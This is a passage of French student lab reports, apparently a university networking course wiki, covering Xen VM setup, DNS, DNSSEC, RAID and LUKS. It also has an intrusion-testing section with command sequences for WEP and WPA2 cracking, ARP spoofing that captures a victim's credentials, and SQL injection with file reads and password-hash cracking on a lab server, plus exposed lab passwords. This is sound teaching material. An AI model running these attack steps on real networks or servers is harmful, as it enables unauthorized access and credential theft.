 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
=== Partie 7 ===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54803</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54803"/>
				<updated>2020-12-17T09:56:51Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Inspection ARP par un élément réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
